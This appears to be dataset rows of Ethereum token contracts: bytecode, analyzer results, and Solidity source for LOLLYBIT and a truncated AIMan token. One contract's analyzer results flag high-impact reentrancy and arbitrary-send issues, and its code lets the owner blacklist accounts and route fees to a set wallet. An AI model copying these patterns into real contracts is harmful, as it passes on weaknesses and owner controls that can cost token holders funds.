0911790558061069781611c35565b91505061063a565b5050565b60006106b0338484610b84565b5060015b92915050565b60006106c7848484610ca8565b610719843361071485604051806060016040528060288152602001611d4d602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611195565b610b84565b5060019392505050565b6000546001600160a01b0316331461074d5760405162461bcd60e51b815260040161062e90611bd4565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107985760405162461bcd60e51b815260040161062e90611bd4565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b0316146107d657600080fd5b476107e0816111cf565b50565b6001600160a01b0381166000908152600260205260408120546106b490611209565b6000546001600160a01b0316331461082f5760405162461bcd60e51b815260040161062e90611bd4565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108a35760405162461bcd60e51b815260040161062e90611bd4565b6611c37937e0800081116108b657600080fd5b601555565b6000546001600160a01b031633146108e55760405162461bcd60e51b815260040161062e90611bd4565b601454600160a01b900460ff16156108fc57600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109445760405162461bcd60e51b815260040161062e90611bd4565b601755565b6000546001600160a01b031633146109735760405162461bcd60e51b815260040161062e90611bd4565b600893909355600a91909155600955600b55565b60006106b0338484610ca8565b6012546001600160a01b0316336001600160a01b0316146109b457600080fd5b60006109bf306107e3565b90506107e08161128d565b6000546001600160a01b031633146109f45760405162461bcd60e51b815260040161062e90611bd4565b60005b82811015610a65578160056000868685818110610a1657610a16611c09565b9050602002016020810190610a2b9190611a84565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a5d81611c35565b9150506109f7565b50505050565b6000546001600160a01b03163314610a955760405162461bcd60e51b815260040161062e90611bd4565b601655565b6000546001600160a01b03163314610ac45760405162461bcd60e51b815260040161062e90611bd4565b6001600160a01b038116610b295760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062e565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610be65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062e565b6001600160a01b038216610c475760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062e565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d0c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062e565b6001600160a01b038216610d6e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062e565b60008111610dd05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062e565b6000546001600160a01b03848116911614801590610dfc57506000546001600160a01b03838116911614155b1561108e57601454600160a01b900460ff16610e95576000546001600160a01b03848116911614610e955760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062e565b601554811115610ee75760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062e565b6001600160a01b03831660009081526010602052604090205460ff16158015610f2957506001600160a01b03821660009081526010602052604090205460ff16155b610f815760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062e565b6014546001600160a01b03838116911614610fb75760165481610fa3846107e3565b610fad9190611c4e565b10610fb757600080fd5b6000610fc2306107e3565b601754601554919250821015908210610fdb5760155491505b808015610ff25750601454600160a81b900460ff16155b801561100c57506014546001600160a01b03868116911614155b80156110215750601454600160b01b900460ff165b801561104657506001600160a01b03851660009081526005602052604090205460ff16155b801561106b57506001600160a01b03841660009081526005602052604090205460ff16155b1561108b576110798261128d565b47801561108957611089476111cf565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110d057506001600160a01b03831660009081526005602052604090205460ff165b8061110257506014546001600160a01b0385811691161480159061110257506014546001600160a01b03848116911614155b1561110f57506000611189565b6014546001600160a01b03858116911614801561113a57506013546001600160a01b03848116911614155b1561114c57600854600c55600954600d555b6014546001600160a01b03848116911614801561117757506013546001600160a01b03858116911614155b1561118957600a54600c55600b54600d555b610a6584848484611407565b600081848411156111b95760405162461bcd60e51b815260040161062e91906119c2565b5060006111c68486611c66565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069f573d6000803e3d6000fd5b60006006548211156112705760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062e565b600061127a611435565b90506112868382611458565b9392505050565b6014805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112d5576112d5611c09565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561132e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113529190611c7d565b8160018151811061136557611365611c09565b6001600160a01b03928316602091820292909201015260135461138b9130911684610b84565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906113c4908590600090869030904290600401611c9a565b600060405180830381600087803b1580156113de57600080fd5b505af11580156113f2573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b806114145761141461149a565b61141f8484846114c8565b80610a6557610a65600e54600c55600f54600d55565b60008060006114426115bf565b90925090506114518282611458565b9250505090565b600061128683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611601565b600c541580156114aa5750600d54155b156114b157565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806114da8761162f565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061150c908761168c565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461153b90866116ce565b6001600160a01b03891660009081526002602052604090205561155d8161172d565b6115678483611777565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115ac91815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea000006115db8282611458565b8210156115f857505060065492683635c9adc5dea0000092509050565b90939092509050565b600081836116225760405162461bcd60e51b815260040161062e91906119c2565b5060006111c68486611d0b565b600080600080600080600080600061164c8a600c54600d5461179b565b925092509250600061165c611435565b9050600080600061166f8e8787876117f0565b919e509c509a509598509396509194505050505091939550919395565b600061128683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611195565b6000806116db8385611c4e565b9050838110156112865760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062e565b6000611737611435565b905060006117458383611840565b3060009081526002602052604090205490915061176290826116ce565b30600090815260026020526040902055505050565b600654611784908361168c565b60065560075461179490826116ce565b6007555050565b60008080806117b560646117af8989611840565b90611458565b905060006117c860646117af8a89611840565b905060006117e0826117da8b8661168c565b9061168c565b9992985090965090945050505050565b60008080806117ff8886611840565b9050600061180d8887611840565b9050600061181b8888611840565b9050600061182d826117da868661168c565b939b939a50919850919650505050505050565b600082600003611852575060006106b4565b600061185e8385611d2d565b90508261186b8583611d0b565b146112865760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062e565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107e057600080fd5b80356118f8816118d8565b919050565b6000602080838503121561191057600080fd5b823567ffffffffffffffff8082111561192857600080fd5b818501915085601f83011261193c57600080fd5b81358181111561194e5761194e6118c2565b8060051b604051601f19603f83011681018181108582111715611973576119736118c2565b60405291825284820192508381018501918883111561199157600080fd5b938501935b828510156119b6576119a7856118ed565b84529385019392850192611996565b98975050505050505050565b600060208083528351808285015260005b818110156119ef578581018301518582016040015282016119d3565b81811115611a01576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a2a57600080fd5b8235611a35816118d8565b946020939093013593505050565b600080600060608486031215611a5857600080fd5b8335611a63816118d8565b92506020840135611a73816118d8565b929592945050506040919091013590565b600060208284031215611a9657600080fd5b8135611286816118d8565b803580151581146118f857600080fd5b600060208284031215611ac357600080fd5b61128682611aa1565b600060208284031215611ade57600080fd5b5035919050565b60008060008060808587031215611afb57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b2c57600080fd5b833567ffffffffffffffff80821115611b4457600080fd5b818601915086601f830112611b5857600080fd5b813581811115611b6757600080fd5b8760208260051b8501011115611b7c57600080fd5b602092830195509350611b929186019050611aa1565b90509250925092565b60008060408385031215611bae57600080fd5b8235611bb9816118d8565b91506020830135611bc9816118d8565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611c4757611c47611c1f565b5060010190565b60008219821115611c6157611c61611c1f565b500190565b600082821015611c7857611c78611c1f565b500390565b600060208284031215611c8f57600080fd5b8151611286816118d8565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611cea5784516001600160a01b031683529383019391830191600101611cc5565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d2857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d4757611d47611c1f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208973d4ea5cf2db902153b9d30819d0bde2c412de8d926d13ba8dc0d13c15f76f64736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 2,448 |
0x3b5cf94a052fd12cd0255be5c995610c587392d8
|
/**
*Submitted for verification at Etherscan.io on 2021-05-21
*/
// SPDX-License-Identifier: No License
pragma solidity 0.6.12;
// ----------------------------------------------------------------------------
// 'LOLLYBIT' token contract
//
// Symbol : LBIT
// Name : LOLLYBIT
// Total supply: 100 000 000 000
// Decimals : 16
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0) {
return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
interface ERC20Basic {
function balanceOf(address who) external view returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool trans1);
function allowance(address owner, address spender) external view returns (uint256 remaining);
function transferFrom(address from, address to, uint256 value) external returns (bool trans);
function approve(address spender, uint256 value) external returns (bool hello);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic, Ownable {
uint256 public totalSupply;
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public override returns (bool trans1) {
require(_to != address(0));
//require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
*/
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) {
require(_to != address(0));
// require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public override returns (bool hello) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
*/
function allowance(address _owner, address _spender) public view override returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue) public returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue) public returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is StandardToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value > 0);
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
contract LOLLYBIT is BurnableToken {
string public constant name = "LOLLYBIT";
string public constant symbol = "LBIT";
uint public constant decimals = 16;
// there is no problem in using * here instead of .mul()
uint256 public constant initialSupply = 100000000000 * (10 ** uint256(decimals));
// Constructors
constructor () public{
totalSupply = initialSupply;
balances[msg.sender] = initialSupply; // Send all tokens to owner
//allowedAddresses[owner] = true;
}
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c80636618846311610097578063a9059cbb11610066578063a9059cbb14610460578063d73dd623146104c4578063dd62ed3e14610528578063f2fde38b146105a0576100f5565b806366188463146102ed57806370a08231146103515780638da5cb5b146103a957806395d89b41146103dd576100f5565b806323b872dd116100d357806323b872dd146101ff578063313ce56714610283578063378dc3dc146102a157806342966c68146102bf576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e1575b600080fd5b6101026105e4565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061061d565b60405180821515815260200191505060405180910390f35b6101e961070f565b6040518082815260200191505060405180910390f35b61026b6004803603606081101561021557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610715565b60405180821515815260200191505060405180910390f35b61028b6109ff565b6040518082815260200191505060405180910390f35b6102a9610a04565b6040518082815260200191505060405180910390f35b6102eb600480360360208110156102d557600080fd5b8101908080359060200190929190505050610a13565b005b6103396004803603604081101561030357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bd9565b60405180821515815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e6a565b6040518082815260200191505060405180910390f35b6103b1610eb3565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103e5610ed7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042557808201518184015260208101905061040a565b50505050905090810190601f1680156104525780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ac6004803603604081101561047657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f10565b60405180821515815260200191505060405180910390f35b610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e4565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112e0565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611367565b005b6040518060400160405280600881526020017f4c4f4c4c5942495400000000000000000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b690919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601081565b6010600a0a64174876e8000281565b60008111610a2057600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6c57600080fd5b6000339050610ac382600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1b826001546114b690919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610cea576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7e565b610cfd83826114b690919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600481526020017f4c4249540000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4b57600080fd5b610f9d82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103282600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117582600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113bf57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c257fe5b818303905092915050565b6000808284019050838110156114df57fe5b809150509291505056fea264697066735822122095c38aa48775772012fd8d30f8d3a7519d379b806f152442c804984e4083f1ef64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 2,449 |
0xc7940d2b932a41439f88f239210f2574c455c0cc
|
/**
AI-Man
https://ai-man.net/
https://t.me/AIManPortal
*/
pragma solidity ^0.8.13;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract AIMan is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet;
string private constant _name = "$AI";
string private constant _symbol = "$AI";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
